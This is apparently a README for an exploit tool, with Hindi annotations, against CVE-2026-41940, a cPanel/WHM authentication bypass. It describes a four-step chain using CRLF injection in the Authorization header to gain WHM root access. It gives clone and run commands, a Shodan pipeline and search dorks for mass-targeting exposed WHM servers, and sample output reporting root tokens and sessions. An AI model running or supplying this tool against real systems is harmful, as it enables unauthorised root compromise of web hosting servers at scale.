┌─────────────────────────────────────────────────────────────┐
│  चरण 1  ──  पूर्व-प्रमाणीकरण सत्र कुकी बनाएं              │
│  चरण 2  ──  `Authorization` हेडर के माध्यम से CRLF इंजेक्शन │
│  चरण 3  ──  `do_token_denied` (raw → cache) ट्रिगर करें    │
│  चरण 4  ──  JSON API के माध्यम से WHM रूट पहुंच सत्यापित करें │
└─────────────────────────────────────────────────────────────┘

git clone https://github.com/0xgh057r3c0n/CVE-2026-41940.git && cd CVE-2026-41940

./CVE-2026-41940.py -u https://target.com:2087

./CVE-2026-41940.py -l targets.txt -t 20 -o results.json

shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | ./CVE-2026-41940.py -t 30

$ ./CVE-2026-41940.py -u https://192.168.1.100:2087

  कॉन्फ़िगरेशन:
   लक्ष्य   : 1
   थ्रेड्स  : 10
   टाइमआउट  : 15s
   क्रिया   : केवल स्कैन

[10:23:15] [SCAN] 4-चरणीय शोषण श्रृंखला शुरू... https://192.168.1.100:2087
[10:23:15] [INFO] कैनोनिकल होस्टनाम खोजा गया: server.example.com
[10:23:15] [STEP] चरण 1/4 — पूर्व-प्रमाणीकरण सत्र बनाया जा रहा है...
[10:23:16] [  OK] चरण1: पूर्व-प्रमाणीकरण सत्र = 9a7f8e3d2c1b0a9f
[10:23:16] [STEP] चरण 2/4 — Authorization हेडर के माध्यम से CRLF इंजेक्शन...
[10:23:17] [  OK] चरण2: HTTP 302 → token=/cpsess1234567890
[10:23:17] [STEP] चरण 3/4 — do_token_denied गैजेट फायर करना (raw→cache)...
[10:23:18] [  OK] चरण3: HTTP 401 — do_token_denied गैजेट फायर हुआ
[10:23:18] [STEP] चरण 4/4 — WHM रूट पहुंच सत्यापित की जा रही है...
[10:23:18] [INFO] चरण4: HTTP 200  {"version":"11.118.0.63",...}
[10:23:18] [PWND] CVE-2026-41940 पुष्ट — WHM रूट पहुंच! (v11.118.0.63 — असुरक्षित पुष्ट)
[10:23:18] [PWND]   टोकन    : /cpsess1234567890
[10:23:18] [PWND]   सत्र  : 9a7f8e3d2c1b0a9f
[10:23:18] [PWND]   संस्करण  : 11.118.0.63
[10:23:18] [PWND]   API URL  : https://192.168.1.100:2087/cpsess1234567890/json-api/version

  CVE-2026-41940 — स्कैन पूर्ण
  समय: 3.2s  ·  लक्ष्य: 1

  1 असुरक्षित लक्ष्य

  [*] लक्ष्य   : https://192.168.1.100:2087
  [*] संस्करण  : 11.118.0.63
  [*] टोकन    : /cpsess1234567890
  [*] API URL  : https://192.168.1.100:2087/cpsess1234567890/json-api/version
  [*] सत्र  : 9a7f8e3d2c1b0a9f
  [*] साक्ष्य : {"version":"11.118.0.63",...}

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087